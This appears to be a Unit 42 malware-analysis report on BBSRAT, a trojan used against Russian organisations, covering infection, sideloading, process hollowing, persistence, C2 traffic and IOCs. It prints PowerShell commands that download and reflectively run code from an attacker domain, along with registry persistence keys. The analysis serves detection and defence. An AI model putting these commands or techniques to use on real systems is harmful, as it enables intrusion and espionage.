BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger

In late 2014, ESET presented an attack campaign that had been observed over a period of time targeting Russia and other Russian speaking nations, dubbed “Roaming Tiger”. The attack was found to heavily rely on RTF exploits and at the time, thought to make use of the PlugX malware family.

ESET did not attribute the attacks to a particular attack group, but noted that the objective of the campaign was espionage and general information stealing. Based on data collected from Palo Alto Networks AutoFocus threat intelligence, we discovered continued operations of activity very similar to the Roaming Tiger attack campaign that began in the August 2015 timeframe, with a concentration of attacks in late October and continuing into December.

The adversaries behind these attacks continued to target Russia and other Russian speaking nations using similar exploits and attack vectors. However, while the malware used in these new attacks uses similar infection mechanisms to PlugX, it is a completely new tool with its own specific behavior patterns and architecture. We have named this tool “BBSRAT.”

Targeting and Infrastructure

As described in earlier reports on “Roaming Tiger”, the attack observed in August 2015 used weaponized exploit documents that leave Russian language decoy document files after infecting the system. The files exploit the well-known Microsoft Office vulnerability, CVE-2012-0158, to execute malicious code in order to take control of the targeted systems.

Figure 1 Spear-phishing email delivering BBSRAT

In one case, the adversary impersonated an individual from the organization Vigstar, a Russian-based research organization in charge of the development of satellite communications and special purpose wireless devices for the Russian Federation’s defense and security agencies. The targeted email address appeared to be a Gmail account associated with Vigstar as well, and was found on a job board website for a job opening at Vigstar.

The rough translation of the body of the email is as follows:

I send you a "list of international exhibitions of military, civil and dual-purpose, conducted in 2015 on the territory of the Russian Federation and foreign states." Waiting for your reply!

Figure 2 confirms that the decoy document that opens after the malware infects the system is indeed a list of international exhibitions that were conducted on Russian territory in 2015.

Figure 2 Decoy document that is opened after the malicious document has infected the system

In more recent months, we have identified several other potential Russian victims using AutoFocus. Analysis of the command and control (C2) infrastructure shows that the newly discovered samples of BBSRAT used the same C2 domains as previously published in the “Roaming Tiger” campaign, including transactiona[.]com and futuresgold[.]com. Interestingly, all of the previously published C2 domains have significant overlap amongst the hashes and IPs while C2s for BBSRAT contain no overlap at all. This may indicate that for the newer attack campaign using BBSRAT, the adversary may have deployed purpose-built variants and/or infrastructure for each of the intended targets.

Figure 3 Command and control infrastructure

BBSRAT Malware Analysis

Deployment Technique #1

BBSRAT is typically packaged within a portable executable file, although in a few of the observed instances, a raw DLL was discovered to contain BBSRAT. When the dropper first runs, it will generate a path in the %TEMP% directory. The generated filename is 10-16 uppercase alphabetic characters, and ends with a ‘.TMP’ file extension. The dropper will continue to write an embedded cab file in this location.

Figure 4 Header of CAB file dropped by BBSRAT

The malware will proceed to create one of the following directories depending on what version of Microsoft Windows is running on the target machine:

• %ALLUSERSPROFILE%\SSONSVR
• %ALLUSERSPROFILE%\Application Data\SSONSVR

Using the built-in expand.exe utility provided by Microsoft Windows, the dropper executes the following command, which will expand the CAB file and write the results to the provided directory:

expand.exe "%TEMP%\[temp_file]" Destination "[chosen_path]\SSONSVR"

This results in the following three files being written to the SSONSVR directory:

• aclmain.sdb
• pnipcn.dll
• ssonsvr.exe

The 'ssonsvr.exe' file is a legitimate Citrix executable that will be used to sideload the malicious ‘pnipcn.dll’ file. The ‘aclmain.sdb’ file contains code that will eventually be loaded by the ‘pnipcn.dll’ file.

The malware finally executes ‘ssonsvr.exe’ via a call to ShellExecuteW.

Figure 5 Execution flow of dropper expanding CAB file

When ‘ssonsvr.exe’ is executed, and the pnipcn.dll file is loaded, it will begin by identifying the path to msiexec.exe, by expanding the following environment string:

%SystemRoot%\System32\msiexec.exe

It will then spawn a suspended instance of msiexec.exe in a new process. The malware proceeds to load code from the ‘aclmain.sdb’ file and performs process hollowing against this instance of msiexec.exe prior to resuming the process.

Figure 6 Sideloading execution flow

In order to ensure persistence, the following registry key is written on the victim’s machine:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ssonsvr.exe : [path_to_ssonsvr.exe]

Deployment Technique #2

In the most recently observed sample of BBSRAT found in AutoFocus, the Trojan was deployed via a downloader that used the Invoke-ReflectivePEInjection.ps1 script from the PowerSploit framework.

When the downloader executes, it will first decrypt the following two strings using a 5-byte XOR key of “\x01\x02\x03\x04\x05”:

"powershell -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://testzake[.]com/IR.ps1');Invoke-ReflectivePEInjection -PEUrl http://testzake[.]com/s.exe"

"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://testzake[.]com/IR.ps1');Invoke-ReflectivePEInjection -PEUrl http://testzake[.]com/s.exe"

These strings are then sequentially executed via calls to WinExec. As we can see, the second command is specifically crafted to run on 64-bit versions of Microsoft Windows. The commands in question will download an executable file and run it within the context of the powershell process.

When the above commands are executed, the downloader will initially download the ‘IR.ps1’ powershell script from the specified URL:

Figure 7 Downloader downloading the Invoke-ReflectivePEInjection PowerSploit script

This Powershell script appears to have been pulled directly from the PowerSploit framework, with no modifications made. The malware then invokes this script with a URL that points to an additional executable file. This downloaded executable contains a copy of the BBSRAT malware family.

The downloader proceeds to drop either a 32-bit or 64-bit DLL file that will execute the two previously stated Powershell commands when the DLL is loaded. This DLL is dropped to one of the following locations:

%SYSTEMROOT%\web\srvcl32.dll

%APPDATA%\web\srvcl32.dll

Additionally, the following registry keys are set depending on the system’s CPU architecture:

HKU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32\ThreadingModel - "Both"
HKU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32\Default - [path_to_srvcl32.dll]

HKLM\SOFTWARE\Classes\CLSID\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InprocServer32\ThreadingModel - "Both"
HKLM\SOFTWARE\Classes\CLSID\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InprocServer32\Default - [path_to_srvcl32.dll]

The COM object for {42aedc87-2188-41fd-b9a3-0c966feabec1} is specific to ‘MruPidlList’, while the COM object for {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1} is specific to ‘Microsoft WBEM New Event Subsystem’. This ensures that the DLL specified will load when Microsoft Windows starts. It is a technique that was used by the ZeroAccess rootkit when it initially surfaced.

BBSRAT Execution

After being loaded using one of the two techniques discussed, BBSRAT malware begins execution by loading the following libraries at runtime:

• ntdll.dll
• kernel32.dll
• user32.dll
• advapi32.dll
• gdi32.dll
• ws2_32.dll
• shell32.dll
• psapi.dll
• Secur32.dll
• WtsApi32.dll
• Netapi32.dll
• Version.dll
• Crypt32.dll
• Wininet.dll

The following mutex is then created to ensure a single instance of BBSRAT is running at a given time:

Global\GlobalAcProtectMutex

Throughout the execution of BBSRAT, it will dynamically load functions prior to calling them, as seen in the example below demonstrating BBSRAT making a call to the WSAStartup function:

Figure 8 BBSRAT calling WSAStartup function

The malware proceeds to parse the stored embedded network configuration and spawns a series of threads responsible for network communication. This includes a series of HTTP or HTTPS requests, such as the following:

GET /bbs/1/forum.php?sid=1 HTTP/1.1
Cookie: A46A8AA9-D7D6-43FB-959DC96E
Content-Length:
User-Agent: Mozilla/4.0 (compatible; Windows NT 5.1)
Connection: Keep-Alive
Host: transactiona[.]com
Cache-Control: no-cache
Accept: */*
Content-Type:

In the above example, the ‘1’ used both in the URI and the sid GET parameter is a global incremental counter. Every subsequent request made by BBSRAT increments this counter by one. Additionally, all variants of BBSRAT we have found use the same URL for command and control (C2) communication.

When first executed, the malware will exfiltrate data about the victim’s machine via a POST request to the ‘/bbs/[counter]/forum.php?sid=[counter]’ URL. All network data sent via POST requests uses a custom binary structure, as defined as the following:

The compressed_data field is compressed using the common ZLIB compression algorithm. Additionally, in the event data is being sent via HTTP rather than HTTPS, the following additional encryption algorithm is applied to the POST data:

The following data structure holds the victim’s information that is uploaded by BBSRAT:

BBSRAT accepts many possible commands that the C2 server can provide. These commands are sent as a response to the GET beacons that are continually requested via either HTTP or HTTPS. The following commands and sub-commands have been identified:

Please refer to the appendix for a full list of identified BBSRAT samples and their associated C2 servers.

Conclusion

As in many of the previous articles regarding espionage-motivated adversaries and possible nation-state campaigns, what is being observed in this attack campaign is a continued operation and evolution by the adversary even after its tactics, techniques, and procedures (TTPs) have become public knowledge. Despite the fact that the information about these attackers has been public for over a year, including a listing of many of the command and control servers, they continue to reuse much of their exposed playbook. We urge organizations to use the data from Unit 42 and other threat intelligence sources is paramount to proactively secure themselves and prevent attacks.

WildFire properly classifies BBSRAT malware samples as malicious. We have released DNS signatures to block access to the C2 domain names included in this report. AutoFocus users can explore these attacks using the BBSRAT malware family tag.

Appendix

YARA Rule

BBSRAT Samples

PowerSploit Downloader

IOCs

Hashes

61a692e615e31b97b47a215479e6347fbd8e6e33d7c9d044766b4c1d1ae1b1fb
22592a32b1193587a707d8b20c04d966fe61b37f7def7613d9bb91ff2fe9b13b
2d81d65d09bf1b864d8964627e13515cee7deddfbd0dc70b1e67f123ab91421e
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0fc52c74dd54a97459e964b340d694d8433a3229f61e1c305477f8c56c538f27
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4ea23449786b655c495edf258293ac446f2216464b3d1bccb314ef4c61861101
0baf36ca2d3772fdff989e2b7e762829d30db132757340725bb50dee3b51850c
012ec51657d8724338a76574a39db4849579050f02c0103d46d406079afa1e8b
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5aa7db3344aa76211bbda3eaaccf1fc1b2e76df97ff9c30e7509701a389bd397
fc4b465ee8d2053e9e41fb0a6ae32843e4e23145845967a069e584f582279725
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13d0bd83a023712b54c1dd391dfc1bc27b22d9df4fe3942e2967ec82d7c95640

Domains

adobeflashupdate.dynu[.]com
adobeflashupdate1.strangled[.]net
cdaklle.housejjk[.]com
futuresgolda[.]com
herman.eergh[.]com
jowwln.cocolco[.]com
kop.gupdiic[.]com
loomon.gupdiicc[.]com
pagbine.ofhloe[.]com
panaba.empleoy-plan[.]com
peak.measurepeak[.]com
prdaio.unbrtel[.]com
support.yandexmailru[.]kr
systemupdate5.dtdns[.]net
testzake[.]com
transactiona[.]com
wap.gxqtc[.]com
wap.hbwla[.]com
wap.kylxt[.]com
windowsupdate.dyn[.]nu
winwordupdate.dynu[.]com
www.testzake[.]com
www.yunw[.]top